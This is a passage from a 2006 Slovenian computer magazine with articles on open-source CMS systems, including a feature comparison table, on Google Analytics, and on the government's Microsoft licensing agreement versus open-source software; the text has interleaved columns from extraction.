lahko z najemom programerjev opravijo takšne prilagoditve kateregakoli sistema, ki bo popolnoma ustrezal željam naročnika. PREVERITE VSE POGOJE UPORABE Ker so pogoji uporabe odprtokodnih sistemov lahko zelo različni, vam priporočamo, da pred morebitnimi popravki in nadgradnjami izbranih sistemov preverite vse pogoje njihove uporabe. Nekateri ponudniki odprtokodnih sistemov namreč zahtevajo plačilo za uporabo sistema v komercialne namene, spet drugi pa npr. zahtevajo javno objavo kode vseh morebitnih dopolnitev. Pri preverjanju dovoljenj za uporabo se boste srečali s kraticami, kot so BSD (Berkeley Software Distribution; ena izmed najbolj razširjenih licenc za brezplačno programsko opremo; redistribucija mora obdržati izjavo o avtorstvu, listo pogojev in pogoje uporabe), GNU /GPL (General Public License) in LGPL (Lesser General Public License). Po podatkih, ki smo jih našli na spletnem portalu odprte kode (ok.scv.si) je bistvena razlika med licenco GPL in LGPL v tem, da je licenca GPL »zahtevnejša«, saj morajo vse kombinacije zadostiti le kriterijem »svobode«, medtem ko je pri licenci LGPL dopustno povezovanje z licenčno programsko opremo. Poleg tega licenca LGPL postavlja manj zahtevne pogoje povezovanja z drugimi kodami. NEKATERI ODPRTOKODNI SISTEMI CMS Na podlagi analize številnih testov, mnenj uporabnikov in lestvic priljubljenosti, smo izbrali nekaj sistemov CMS, ki so deležni veliko večjega števila pohvalnih kot pa kritičnih besed. Typo3 www.typo3.org Zgled spletne strani, narejene s sistemom Typo3, ki zadovolji še tako zahtevne potrebe razvijalcev spletnih strani. Typo3, katerega korenine segajo v leto 1998, velja za eno najzmogljivejših odprtokodnih rešitev na področju urejanja spletnih vsebin. Namenjen je tako malim kot tudi velikim podjetjem, ki potrebujejo prilagodljiv in razširljiv sistem ter veliko že pripravljenih modulov, s katerimi lahko dodatno povečajo uporabnost Izkušnje podjetja Virtua Typo3 pa ni priljubljen samo v svetu, temveč tudi v Sloveniji, kar je moč sklepati po vse večjem številu spletnih strani, ki so podprte z omenjeno rešitvijo. Med drugim ga zaradi funkcionalnosti in bistveno znižanih stroškov vzdrževanja uporabljajo tudi spletne strani državne uprave. Skupnost slovenskih uporabnikov orodja Typo3 se združuje na naslovu www.typo3-slovenia.org/. Zakaj ga pri načrtovanju in razvoju spletnih strani uporablja vedno več podjetij, ki se ukvarjajo z izdelavo spletnih strani, smo pre- Jasna Suhadolc, verili pri Jasni Suhadolc iz podjetja Virtua Virtua, d.o.o. (www.virtua.si), kjer bodo kmalu imeli pod streho že šest projektov, ki so jih izdelali s pomočjo sistema Typo3. Zakaj ste se glede na široko ponudbo različnih sistemov CMS odločili ravno za Typo3? J. Suhadolc: Sistemov CMS je res veliko, verjetno najobsežnejša zbirka je na naslovu /www.cmsmatrix.org/. Ob tako veliki izbiri je res težko trditi, da je določen sistem najboljši, je pa prav gotovo, da je v Typo3 (in precej drugih na seznamu) vloženo bistveno več dela, kot si ga lahko privošči financirati katerakoli slovenska spletna agencija. Menimo, da bi verjetno katerikoli izmed prvih 10 sistemov CMS z omenjenega seznama zadoščal za večino spletnih projektov, ki jih izvajamo v naši družbi. Typo3 pa smo pravzaprav spoznali že pred leti, ko je takratno Ministrstvo za informacijsko družbo priporočilo uporabo odprtokodnih sistemov, kjer je bil omenjen. Od takrat smo budno spremljali njegov razvoj, gotovo pa ga je kot razvojno okolje spletnih projektov v našem podjetju utrdila odločitev državne uprave, da ga predpiše kot osnovno orodje za državne portale. Ni pa Typo3 edino orodje, ki ga podpiramo. Za manjše projekte uporabljamo tudi sistem Joomla! (bivši Mambo CMS) in SharePoint Portal Services v okolju Windows. Kakšne so prednosti in slabosti uporabe sistema Typo3? Očitno je, da sistemov, kot so zgoraj omenjeni trije, ni mogoče primerjati s sistemi, ki jih razvijajo spletne agencije. Vsi trije ponujajo za nekaj magnitud več modulov, funkcionalnosti, pripomočkov, razširitev in podobno. Če primerjamo dva odprtokodna sistema CMS, torej Typo3 in Joomla!, ima Typo3 kar nekaj prednosti. Gre za bistveno obsežnejši sistem z zelo modularno zasnovo, različnimi sistemi overjanja in avtorizacije »front« in »back-end« uporabnikov, naprednim sistemom spremljanja dela obiskovalcev spletne strani (VTS − Visitor Tracking System), ki je nepogrešljivo orodje za optimiranje vsebin pri resnih spletnih projektih, odlično večjezično podporo, odličnimi moduli za e-poslovanje, napredno iskanje, itd. Prednost sistema Joomla! pa je v bistveno krajšem času, ki ga porabimo za uvajanje novih spletnih razvijalcev. 29 IT - MOZAIK odprtokodni sistemi CMS sistema kot tudi funkcionalnost lastne spletne strani. Poleg celovitega upravljanja vsebin omogoča Typo3 tudi večnivojsko urejanje, enostavno izdelovanje grafičnih menijev, dinamično obdelovanje slik, upravljanje večjega števila spletnih mest, ipd. Med bolj tehnično naravnanimi podatki na omenimo, da ima Typo3 svoj deklaracijski jezik TypoScript, s katerim lahko nastavite vse parametre sistema, in da je Typo3 narejen z zelo priljubljenim odprtokodnim skriptnim jezikom PHP, kar omogoča neslutene možnosti prilagodljivosti in nadgradnje. Mambo / Joomla! www.mamboserver.com Mambo je eden najbolj priljubljenih sistemov CMS. Sistem, ki v zadnjih letih prejema nagrade kot po tekočem traku (leta 2004 je bil proglašen kot najboljši odprtokodni projekt na tekmovanju LinuxUser & Developer Awards, v preteklem letu je bil na svetovni Linux konferenci razglašen za najboljšo odprtokodno rešitev, prejel pa je tudi nagrado Linux Format Awards za najboljši projekt leta 2005), temelji na klasični tehnologiji ApachePHP-MySQL in je neodvisen od operacijskega sistema. Mambo sestavljajo moduli, ki jih večinoma srečujemo tudi pri drugih sistemih CMS: aktualne novice, ankete, distribucija sporočil (RSS), iskalnik, klepetalnica, forum, izmenjava dokumentov, statistika, koledar ipd. Mambo, ki je izdan pod licenco GNU/GPL, sodi med prijazne, pregledne in enostavne sisteme za vzdrževanje spletnih vsebin. Neomejene možnosti imamo pri prilagajanju in ustvarjanju novih oblikovnih predlog, le da je za izdelovanje teh potrebno nekaj dodatnega znanja. Pri omenjanju sistema Mambo pa seveda nikakor ne moremo mimo dejstva, da se je pred kratkim večja skupina njegovih ključnih razvijalcev odcepila od glavne razvijalne skupine in razvila nov sistem CMS z imenom Joomla! (www.joomla.org). Da je bila odločitev o njihovi odcepitvi pravilna, potrjuje tudi nagrada za najboljši odprtokodni projekt za leto 2005, ki so jo podelili na prireditvi LinuxWorld Expo (www.linuxworldexpo.co.uk). Sistem Joomla! je zmagal v res močni konkurenci, saj so med drugim prehiteli tudi brskalnik Firefox. Plone www.plone.org Xoops www.xoops.org/ Urejanje posameznih gradnikov spletne strani s programom Xoops Xoops je prilagodljiv, objektno usmerjen portalni sistem napisan v jeziku PHP. Ker uporablja pogon za predloge (template engine) Smarty, pomeni, da lahko uporabnik po želji spreminja videz strani/portala. Xoops je najprimernejši za hitro vzpostavitev spletnih skupnosti, saj ponuja zelo dobra orodja za delo z uporabniki. Njegova prednost je tudi integrirana relacijska zbirka vsebin Wiki. Slovenska skupnost uporabnikov ima svojo spletno stran na naslovu http://xoops.specialci.com. Plone omogoča enostavno urejanje vsebine. Drupal www.drupal.org/ Odprtokodni sistem Plone je napisan v objektno usmerjenem skriptnem jeziku python. Pomembna značilnost Plona je, da vse vsebinske podatke hrani v predmetni zbirki ZODB (Zope Object Database) in ne v običajni relacijski zbirki, ki je temelj skoraj vseh drugih sistemov. Zaradi tega potrebujemo za uporabo programa programski strežnik Zope, kar pa lahko pripelje do resnega problema, saj je malo ponudnikov gostovanja, ki pod- Ustvarjanje mini ankete s sistemom Drupal pirajo omejeni strež- je zelo enostavno opravilo. nik. Plone velja za zelo prilagodljiv in Drupal je v slovenskem spletu neznan, a je ne tako enostaven sicer odličen odprtokodni sistem upravljanja sistem CMS, saj za- vsebin (CMS), ki uporablja zbirko podatkov hteva od uporabnika MySQL ali PostgreSQL, od različice 4.6 dalje kar precej uvajalnega pa je združljiv s PHP5. Prilagodljivost, kakočasa, dodatnega uče- vostna in razumljiva koda ter modularna zgradnja ter znanja jezika ba, so poglavitne odlike, ki jih navajajo uporabMambo omogoča hitro namestitev in zamenjavo predlog. python, če bo želel niki omenjenega sistema. Drupalu se še danes sistem izkoristiti v pozna, da je bil sprva predvsem orodje za gradDodaten razlog za odločitev za uporabo si- polni meri. Zaradi kompleksnosti in številnih njo spletnih skupnosti, saj ima mnogo funkstema Mambo je njegova razširjenost ter zelo funkcionalnosti je sistem namenjen tudi za- cionalnosti, ki podpirajo ta tip spletnih strani. močna podpora skupnosti, kar zagotavlja »pro- htevnejšim uporabnikom in večjim spletnim Drupal je še posebej dober tudi za vzdrževanje izvodnjo« novih modulov in komponent. Slo- mestom. novičarskih spletnih strani in spletnih dnevnivenska skupnost uporabnikov se združuje na naslovu www.slomambo.edus.si, od koder si Nekatere pomembnejše povezave s področja CMS lahko prenesejo v računalnik slovensko razliCMS Review (www.cmsreview.com) stran z vsemi bistvenimi informacijami o sistemih CMS čico sistema Mambo kot tudi številne dodatke, CMSMatrix (www.cmsmatrix.org) sistematična primerjava več kot 500 (!)sistemov CMS se seznanijo z novostmi ali pa se pridružijo razOpenSourceCMS (www.opensourcecms.com) pregled in preizkus velike večino odprtokodnih sistemov CMS pravi na forumu. Kot največji pomanjkljivosti OSCOM (www.oscom.org) mednarodno združenje odprtokodnih CMS sistema se največkrat omenjata pomanjkljiva Open Source Content Management System List kratki opisi različnih sistemov CMS podpora večjezičnosti ter slab sistem z uporab(www.la-grange.net/cms ) nikovimi pravicami. 30 moj mikro | 2 | februar | 2006 IT - MOZAIK odprtokodni sistemi CMS kov (blogov), seveda pa ga je moč uporabljati tudi za vzdrževanje običajnih spletnih strani. Med najuporabnejše funkcionalnosti sistema Drupal sodijo: možnost spreminjanja vsebine v format pdf, izdelava interaktivnih obrazcev (npr. obrazec za povpraševanje) prek administrativnega vmesnika, URL-filter, ki omogoča samodejno filtriranje vseh URL in e-poštnih naslovov in njihovo spreminjanje v povezave, agregator RSS-vsebin, arhiviranje starejših vsebin, možnost komentiranja vsebine s strani obiskovalcev in še bi lahko naštevali. Osnovna namestitev ponuja štiri preproste in funkcionalne teme, ki so osnovane na XHTML- ju in CSS-u, kar pomeni da jih lahko enostavno spreminjamo in ustvarjamo lastne oblikovne predloge. Uporabniki pravijo, da omogoča Drupal veliko lažje spreminjanje oblikovnih predlog, menijev in krmarjenja kot Mambo, v primerjavi s Plonom pa je pisanje razširitvenih modulov za Drupal veliko preprostejše. Primerjava sistemov CMS Ime sistema Spletni naslov Zadnja različica Spletni strežnik Programski jezik Podatkovni strežnik Varnost Avtorizacija vpisa z e-pošto Prijave skozi SSL SSL-strani Različice dokumentov Enostavnost uporabe Samodejno povečevanje / pomanjševanje slik Množični prenos datotek Črkovalnik Delovanje Podvojevanje zbirk Izvoz statičnih vsebin Upravljanje Upravljanje oglasnih akcij Časovna objava vsebin Teme, preobleke Statistika obiskanosti Podpora Podpora za RSS Podpora za FTP Podpora za UTF-8 Ustreza standardu XHTML Prilagodljivost Podpora načinu CGI Ponovna uporaba vsebine Lokalizacija uporabniškega vmesnika Večjezičnost Hkratno upravljanje večjega števila spletnih mest Že pripravljeni gradniki Spletni dnevnik (blog) Klepetalnice Mali oglasi Upravljanje stikov Forumi Koledar dogodkov Odgovori na pogosta vprašanja Grafikoni Upravljanje povezav Prijava na e-novice Galerija slik Hitre ankete Iskalnik Mapa strani Ankete RSS Trgovanje Sledenje partnerskega programa Upravljanje s plačili Upravljanje z načinom pošiljanja POS-terminal Nakupovalni voziček Drupal drupal.org Drupal 4.6.5 Apache, IIS PHP MySQL, Postgres Joomla! joomla.org Joomla! 1.0.7 Apache PHP MySQL Mambo mamboserver.com Mambo 4.5.3 Apache, IIS PHP MySQL Plone plone.org Plone 2.1.1 Apache, IIS, Zope Python Zope TYPO3 typo3.org TYPO3 3.8.1 Apache, IIS PHP MySQL Xoops xoops.org Xoops 2.2.3 Apache, IIS PHP 4.1.0 MySQL 4.23.xx da ne ne omejeno da ne ne da da ne ne omejeno omejeno ne ne da da da brezplačen dodatek da da brezplačen dodatek brezplačen dodatek brezplačen dodatek da ne ne ne ne ne brezplačen dodatek da brezplačen dodatek da ne brezplačen dodatek ne ne ne ne ne ne doplačilo brezplačen dodatek ne brezplačen dodatek brezplačen dodatek brezplačen dodatek da da da da da da da da da da brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek da da da brezplačen dodatek da omejeno da da da brezplačen dodatek da ne da ne ne da da da da da da da da da da da da omejeno da da da ne da da brezplačen dodatek brezplačen dodatek ne omejeno da brezplačen dodatek brezplačen dodatek brezplačen dodatek da da brezplačen dodatek da da da da da da ne brezplačen dodatek da da brezplačen dodatek ne brezplačen dodatek da brezplačen dodatek da ne brezplačen dodatek brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da brezplačen dodatek brezplačen dodatek da brezplačen dodatek da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da brezplačen dodatek brezplačen dodatek da brezplačen dodatek da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da da brezplačen dodatek ne brezplačen dodatek da da brezplačen dodatek ne brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek da brezplačen dodatek doplačilo brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek da da brezplačen dodatek brezplačen dodatek da brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek omejeno da brezplačen dodatek da brezplačen dodatek brezplačen dodatek brezplačen dodatek ne brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek brezplačen dodatek ne ne ne ne brezplačen dodatek ne brezplačen dodatek brezplačen dodatek ne brezplačen dodatek brezplačen dodatek brezplačen dodatek ne ne brezplačen dodatek da Vir: podatke smo povzeli s spletne strani »The CMS Matrix« (www.cmsmatrix.org), kjer lahko medsebojno primerjamo več kot 500 sistemov CMS. ne da brezplačen dodatek da ne da brezplačen dodatek 31 IT - MOZAIK Google Analytics Revolucija spletnih analiz! Povsem smo se že navadili, da Google ni le iskalnik, ampak eksponentno rastoča korporacija, ki nas vsakih nekaj tednov preseneti z novo uporabno idejo. Eno zadnjih takšnih koristnih presenečenj je prav gotovo Google Analytics – orodje, ki ga ne bi smel spregledati nihče, ki v spletu misli resno. Piše : Mitja Mavsar mitja.mavsar@mojmikro.si TRG SPLETNIH ANALIZ Trg spletnoanalitičnih aplikacij bi še pred kratkim lahko razdelili v dva cenovna razreda: 1. enostavna brezplačna orodja za pregled osnovnih kazalcev obiskanosti (Webalizer, Webstats idr.), 2. napredna plačljiva orodja za natančno opazovanje vedenja obiskovalcev ter pregled učinkovitosti strukture, vsebin in funkcionalnosti spletnega mesta (ClickTracks, WebTrends, Urchin idr.). Orodja iz prve skupine so zaradi svoje brezplačnosti zelo priljubljena. Z njihovo uporabo lahko spremljamo število obiskov, uporabnikov, prepoznamo najbolj obiskane vsebine in podobno, a dejstvo je, da gre pri teh podatkih samo za posnetek stanja. Če poleg pregleda osnovnih podatkov ne opravimo tudi kompleksnejše analize, spoznamo le to, kaj se je zgodilo, zelo težko pa sklepamo o tem, kaj s spletnim nastopom storiti v prihodnje. Po naprednejših plačljivih orodjih so doslej posegali le redki, predvsem so bila to večja podjetja in spletne agencije. Potreba po analizah se je pojavila predvsem pri tistih spletnih projektih, ki lastnikom prinašajo dobršen del prihodkov. Upravitelji takšnih spletnih mest želijo vedeti, od kod natančno obiskovalci prihajajo, zakaj sploh prihajajo, kaj iščejo, ob čem se zmedejo, zakaj odhajajo in zakaj se vračajo. Neposreden finančni učinek Koristnosti teh informacij so se zato najprej začele zavedati spletne trgovine, saj ima pri njih vložek v analize najbolj neposreden finančni učinek. Matematika je povsem enostavna: Če e-trgovina s 100 milijoni tolarjev mesečnega prometa učinkovitost nakupnega procesa izboljša le za 1 %, vsak mesec pridobi milijon tolarjev! GOOGLOV PRETRES IN ODZIV KONKURENCE Svoj prvi udarec trgu analiz je Google zadal že marca 2005, z nakupom podjetja Urchin Software. Ceno te analitične aplikacije je s 495 drastično znižal na 199 dolarjev, po nekajmesečnem zatišju pa je se je zgodilo: vzniknil je prenovljeni Urchin, aplikacija z novim imenom Google Analytics (GA). Urchinovemu orodju, ki je bilo že tako med boljšimi, so pri 32  Brezplačni, a zmogljivi Google Analytics je dodobra pretresel trg spletnih analiz, morda pa bo tudi spremenil splet na bolje. membnosti in moči spletnih analiz.« Gotovo je, da se bodo vsi analitični ponudniki višjega razreda od zdaj naprej morali bolj truditi za obstoj. Znižati bodo morali astronomske cene, a vendar lahko pričakujejo tudi povečano povpraševanje. Dejstvo je, da orodji, kot Google Analitic segmentacija - odkod prihajajo obiskovalci sta Webtrends in Click- iz najdi si tracks, ponujata nekatere analitične možnosti, ki jih Googlu dodali nove razsežnosti, predvsem pa GA ne premore. Zato marsikatero podjetje, ki so ga povezali s svojim oglaševalskim progra- je navajeno na nekatere specifične analize, ne mom AdWords. bo kar z lahkoto presedlalo na GA. Dejstvo je, da so zaradi Googlove novosti vsaj začasno ob nove posle vsa podjetja, ki ZAKAJ jim analitično orodje višjega razreda pomeni NAPREDNE ANALIZE? središče poslovanja. Predstavljajte si: svojega Bistvena prednost naprednih analiz, kot paradnega konja vztrajno razvijajo in pilijo že so GA, Clicktracks, Webtrends, je v tem, da leta, naročniki jim odštevajo po tisoče dolarjev lahko pod drobnogled vzamemo posamezne mesečno, potem pa kot strela z jasnega udari segmente obiskovalcev in jih med sabo pribrezplačni GA ... merjamo. Primerjamo lahko različne parameA vendar Michael Stebbins (iz analitičnega tre, opravljamo analize po časovnih obdobjih podjetja ClickTracks) nič kaj potrto pravi: in še marsikaj. Tako lahko na primer izvemo, »Brezplačne napredne analize so potrditev kako se obiskovalci, ki so do nas prišli s strani tudi naših tržnih prizadevanj. GA ustvarja pli- A, razlikujejo od tistih s strani B. mo, ki bo dvignila vse spletnoanalitične ladje. Če na primer izvemo, da se obiskovalci, ki so Navdušeni smo, da se tako odpira oči o po- prišli s spletnega mesta A: moj mikro | 2 | februar | 2006 IT - MOZAIK Google Analytics - na forumu registrirajo trikrat pogosteje kot tisti z B, - prihajajo večkrat in na strani ostajajo dlje od B in - kupujejo za 30 % večje zneske kot tisti z B, tedaj se je povsem enostavno odločiti, da bomo oglaševali na straneh A, ne pa na B. To se nam splača, saj od tam očitno prihajajo bolj kakovostni obiskovalci − takšni, ki se jim naše vsebine in prodajni program zdijo privlačni. Spodnja tabela prikazuje nekaj namišljenih informacij, ki povsem konkretno ilustrirajo, kako lahko na podlagi analitičnih spoznanj predlagamo ukrepe za izboljšanje spletnega mesta: SPOZNANJE 5 % naših uporabnikov uporablja ločljivost 800 x 600. Delež takšnih vsak mesec pade za 0,2 %. 88 % tistih, ki so v zadnjem tednu opravili nakup, nas je obiskalo z iskalnika najdi.si. Tisti z Googla strani zapuščajo po nekaj sekundah. 28 % obiskovalcev, ki začnejo proces nakupa, odneha pri tretjem koraku in nakupa ne zaključi. Obiskovalci prihajajo enakomerno iz vseh večjih slovenskih krajev, skoraj nihče pa iz Maribora in Kranja. po nekaj dneh morali celo ustaviti. Da je stvar sploh še lahko delovala, so po nekaj dneh preprečili registracijo vsem novim uporabnikom. Registracija tudi po dveh mesecih od otvoritve še ni mogoča − lahko le pustite svoj elektronski naslov in počakate, da vas obvestijo, ko Analytics spet začne polno delovati. Namestitev GA-ja pa je precej enostavna. Vse, kar morate storiti, je odpreti uporabniški račun, nato pa na vsako od strani (page) vašega spletnega mesta namestite nekaj vrstic kode JavaScript, ki Googlovi aplikaciji pošilja informacije o vaših uporabnikih. Tako lahko spremljate do največ 50 spletnih mest. Če ste uporabnik programa Adwords, UKREP Privoščimo si lahko več prostora in spletno mesto mirne vesti prilagodimo ločljivosti 1024 x 768. Temeljito preverimo našo opaznost na Googlu in spodbudimo še več obiskovalcev z iskalnika Najdi.si. Od tam očitno prihajajo kakovostni. Preverimo, ali se na koraku skriva tehnična napaka ali morda od uporabnikov zahtevamo preveč podatkov. Spletno in klasično tržno komuniciranje osredotočimo na Štajersko in Gorenjsko ter tako privabimo še »manjkajočo« publiko. ZAKAJ JE ZASTONJ? Za zastonjskim ponujanjem seveda ne stoji le prijaznost, ampak kristalno jasen poslovni namen. Google namerava z brezplačnimi analizami dvigniti povpraševanje po analizah nasploh, saj le kakovostna analiza pokaže pot do boljšega poslovanja. Osrednji namen brezplačnih analiz je vzgojiti učinkovite spletne ustvarjalce, ki natančno merijo svoja dejanja in posledično bolje oglašujejo. Brezplačni Analytics je pot do donosnejšega spletnega poslovanja in komuniciranja, a vendar bo svoj donos povečal predvsem Google. Pri Googlu povsem upravičeno pričakujejo, da bodo z brezplačnim GA-jem znatno izboljšali donosnost svojega programa za oglaševanje na ključne besede Adwords. Google Analitic - možnosti analize segmenta. IN KJE SE PRIJAVIM? Priljubljenost GA-ja je močno presegla pričakovanja in tako zelo zamajala Googlove strežniške zmogljivosti, da so spletno aplikacijo  Bistvena prednost naprednih analiz, kot so Google Analytics, Clicktracks in Webtrends, je v tem, da lahko pod drobnogled vzamemo posamezne segmente obiskovalcev in jih med sabo primerjamo. lahko analizirate povsem zastonj, če to niste, ste v enem računu omejeni na pet milijonov prikazov strani (pageviews) mesečno. SKLEP Google Analytics je dodobra pretresel trg spletnih analiz, morda pa bo tudi spremenil splet na bolje. Analize, še kako nujne za trajnostni razvoj spletnih mest, so kar naenkrat postale dostopne tudi tistim, ki si jih doslej niso mogli ali hoteli privoščiti. Argumenti vseh tistih, ki v spletu ustvarjajo in poslujejo le na podlagi intuicije in občutkov, se z brezplačno priložnostjo naprednega merjenja spreminjajo v prah.  Nekaj zanimivih funkcionalnosti GA Segmentacija obiskovalcev. Poleg običajne statistike − števila obiskov − lahko obiskovalce analiziramo po lojalnosti, pogostosti vračanja na spletno mesto, njihovo geografsko lokacijo in ugotovimo celo omrežje, prek katerega dostopajo v splet. Segmente lahko primerjamo in podatke tudi izvozimo v obliki za Excel ali drug analitični program. Donos na vložek (ROI). Povezava z besedilnim oglaševanjem Adwords na začetku še ni delovala, kot bi morala, a stvari se urejajo. Trenutno je že mogoč samodejen prenos cenovne informacije o ključni besedi in izpis podatka ROI. Tržniki bodo lahko tudi merili učinkovitost (konverzijo) obiskovalcev, ki so na spletno mesto prišli zaradi e-poštnega obveščanja ali prek oglasne kampanje. Preverjati je mogoče delovanje posamezne različice oglasa, posameznega oglasnega prostora ali posamezne variacije e-poštnega sporočila. Cilji in funeli. Primer funela (funkcionalnega tunela) je proces spletnega nakupa. Analytics omogoča, da vnesemo posamezne korake, nato pa spremljamo, kako učinkoviti so obiskovalci. Opazujemo lahko odstotke obiskovalcev, ki so dosegli določen cilj, ali pa ugotovimo, pri katerem koraku na poti skozi funel se jim zatakne. Analiziramo lahko celo, kateri obiskovalci dosegajo cilje glede na njihov izvor ali lastnosti. Odbojne točke. Katere so tiste strani, kjer obiskovalci zaključijo svoj obisk takoj zatem, ko ga začnejo? Ko veste, katere so, lahko preverite, zakaj te strani odbijajo, in morda izboljšate njihovo delovanje, s tem pa na straneh zadržite več uporabnikov. Oblikovalski parametri. Da dobimo občutek, kako naše spletno mesto vidijo uporabniki, lahko ves čas preverjamo, katere brskalnike uporabljajo, hitrost njihove povezave, zaslonsko ločljivost, na voljo pa so tudi nekateri tehnični podatki, kot so, ali imajo omogočen Javascript in Flash. 33 IT - MOZAIK država, informatika in odprta koda Zaprta odprta koda Pred nekaj leti, ko je slovenska država podpisovala podaljšanje pogodbe Enterprise Agreement z Microsoftom, so se vnele kar obširne razprave o tem, ali je potreben podpis v takšnem obsegu, saj na trgu obstajajo tudi cenejše odprtokodne rešitve. Zdaj je bil spet čas za podaljšanje pogodbe z Microsoftom, a je bilo vse tiho … Piše : Zoran Banović zoran.banovic@mojmikro.si O d prejšnjega podpisa pogodbe EA je minilo nekaj let, v katerih se je zgodilo marsikaj. Tudi na področju odprte kode. Glede na njen razvoj oziroma kakovost in število rešitev smo pričakovali, da se bo, ko bo prišel čas za nov podpis pogodbe, vnela obširna razprava o tem, ali so odprtokodne rešitve primerne za uporabo v naši državni upravi. V prejšnjem ministrstvu za informacijsko družbo je bila izdelana posebna študija na to temo, ki je dala nekako vedeti, da naslednji podpis EA ne bo tako sam po sebi umeven. Tisti, ki smo kdaj preizkusili Linux, posebej pa OpenOffice.org, smo pričakovali, da se bo vnela žolčna debata o tem, ali so odprtokodne rešitve zrele in jih je mogoče tolmačiti kot enakovredno alternativo Microsoftovim rešitvam. Kajti če je tako, potem mora država izdelati javni razpis za nakup programske opreme in se ne more kar neposredno pogajati z Microsoftom oziroma z njim podpisati pogodbe EA. A vse je bilo tiho. O pogajanjih in podpisu pogodbe z Microsoftom javnost ni vedela skoraj nič. Kako to? Ker informacij ni bilo, smo jih poskušali najti na ministrstvu za javno upravo. Poslali smo jim elektronsko sporočilo, v katerem smo jih povprašali, kako in kaj. Dobili smo prijazen in precej dolg odgovor. Celotnega v reviji ne bomo objavljali, saj ga je preveč, lahko pa ga najdete na MikroCDju. Odločili smo se, da na njem objavimo celotno korespondenco, tako da se izognemo morebitnim obtožbam, da so stvari vzete iz konteksta. Na tem mestu bomo le povzeli najpomembnejša dejstva. KAJ PRAVI MINISTRSTVO ZA JAVNO UPRAVO Najprej nas je zanimalo ali je sedanja oblast kaj aktualizirala prejšnjo študijo, imenovano »Politika Vlade RS pri razvijanju, uvajanju in 34 uporabi programske opreme in rešitev temelječih na odprti kodi«, ki jo je izdelal takratni MID in je bila v času prejšnje vlade v celoti predstavljena javnosti. Zanimalo nas je tudi, ali sedanji podpis EA z Microsoftom temelji tudi na ugotovitvah te študije. Izrazili smo tudi željo, da nam, če aktualizirana študija obstaja, to pristojen organ tudi posreduje v elektronski obliki, da si jo lahko ogledamo. V odgovoru smo si lahko ustvarili sliko, kako so stvari potekale. Ministrstvo za javno upravo je izvedlo skupni javni razpis za nakup Microsoftove programske opreme. Na teh pogajanjih so se načeloma dogovorili o ceni izdelkov za delovne postaje (Windows, Office), ne pa o številu licenc. To je prepuščeno vsakemu državnemu organu posebej, saj bo kupil toliko licenc, kolikor jih potrebuje in kolikor si jih lahko privošči. Pogajanja so pomenila v bistvu to, da se je država z Microsoftom pogodila tako, da bodo državni organi lahko kupili licence ceneje, kot če bi jih v trgovini. V odgovoru je zapisano, da so pri odločanju o pogajanjih upoštevali tudi obnovljene prejšnje študije in tudi izkušnje nekaterih evropskih mest, kot so München, Dunaj, Mannheim in podobna. Ugotovili so, da »…so v procesu prehoda prisotni številni faktorji tveganja, ki pa jih zaradi pomanjkanja tovrstnih izkušenj, ne znamo pravilno oceniti in posledično tudi ne znamo omejiti njihov vpliv na končni uspeh projekta…«, in »…je tudi naša odgovornost in obveznost, da zaradi možnosti neuspešnega prehoda na drugo IT tehnologijo, ne pride do večjih motenj v rednem delovanju državne uprave. Na podlagi teh dejstev smo ugotovili, da ne moremo zagotoviti uspešnost prehoda na odprto kodno programsko opremo delovnih postaj v bližnji prihodnosti in zaradi tega smo se odločili za pogajanja s podjetjem Microsoft za nabavo programske opreme delovnih postaj.« Nadalje smo izvedeli, da je bila v ministrstvu za javno upravo imenovana delovna skupina za spremljanje rešitev, ki temeljijo na odprtokodni tehnologiji. Ta delovna skupina naj bi, skupaj s strokovnjaki iz Direktorata za informacijsko družbo in zunanjih strokovnjakov, nadaljevala delo prejšnje delovne skupine, ki je delovala v preteklosti pod okriljem CVIja. Preučevali naj bi možnosti uporabe odprtokodnih tehnologij na delovnih postajah v javni upravi ter predlagali ustrezne ukrepe in postopke za dosego tega cilja. Delovna skupina naj bi se tudi ukvarjala z uporabo in možnostjo uvedbe standardov na področju dokumentov (na primer format OpenDoc). Izsledki te skupine bodo nato botrovali izdelavi akcijskega načrta, kjer bo jasno, kako naprej. Na naše vprašanje, ali poteka kak pilotski projekt vpeljave, na primer paketa OpenOffice.org, smo dobili odgovor, da tak projekt poteka na Vrhovnem sodišču. Načrt prehoda naj bi bil izveden do junija letos, tako da naj bi bili rezultati znani nekje do konca tega leta. V okviru delovne skupine za odprtokodne sisteme se bo izdelal tudi izvedbeni načrt glede prehoda na OpenOffice.org, tako da bi bili glede tega vprašanja pripravljeni do 2008. »Predvsem nas bodo zanimale na izkušnje (izvedba prehodov) drugih držav EU, izkušnje Vrhovnega sodišča ter stanja druge programske opreme na tem področju (npr. integrirane rešitve v okviru pisarniškega poslovanja) …« Akcijskega načrta torej še ni, vendar naj bi ga dobili. A najprej je treba dodelati strategijo, akcijski načrt pa sledi šele po tem. V odgovoru so zapisali, da »…do leta 2010 pa načrtujemo tudi poglavje o mestu in vlogi odprte kode v javni upravi oz. širše v družbi v RS.« Ker gre pri odprti kodi za drugačen način razmišljanja, smo vprašali tudi, ali ministrstvo razmišlja na primer o sofinanciranju podpore za odprtokodne rešitve. Zanimalo nas je ali vlada načrtuje kakšne aktivne ukrepe za spodbujanje ponudbe ustreznih storitev in znanj o uporabi in implementaciji odprtokodnih rešitev. Druge vlade se večinoma zavedajo te vloge aktivnega spodbujevalca razvoja. OpenOffice.org na primer, je brezplačen. Z njegovo uvedbo bi privarčevali veliko denarja, saj ni plačljivih licenc. Del privarčevanega denarja bi lahko uporabili recimo za izgradnjo podpore za izdelek in zagotovili ustrezno prilagoditev zaradi morebitnih težav z združljivostjo z OpenOffice.org. Vse skupaj bi bilo ceneje kot nakup nekaj tisoč licenc komercialnega pisarniškega paketa, funkcionalno pa bi bili vsaj na enakem nivoju. Odgovorili so nam, da o tem niso razmišljali. »… Smatramo pa, da nepovratna sredstva za potrebe 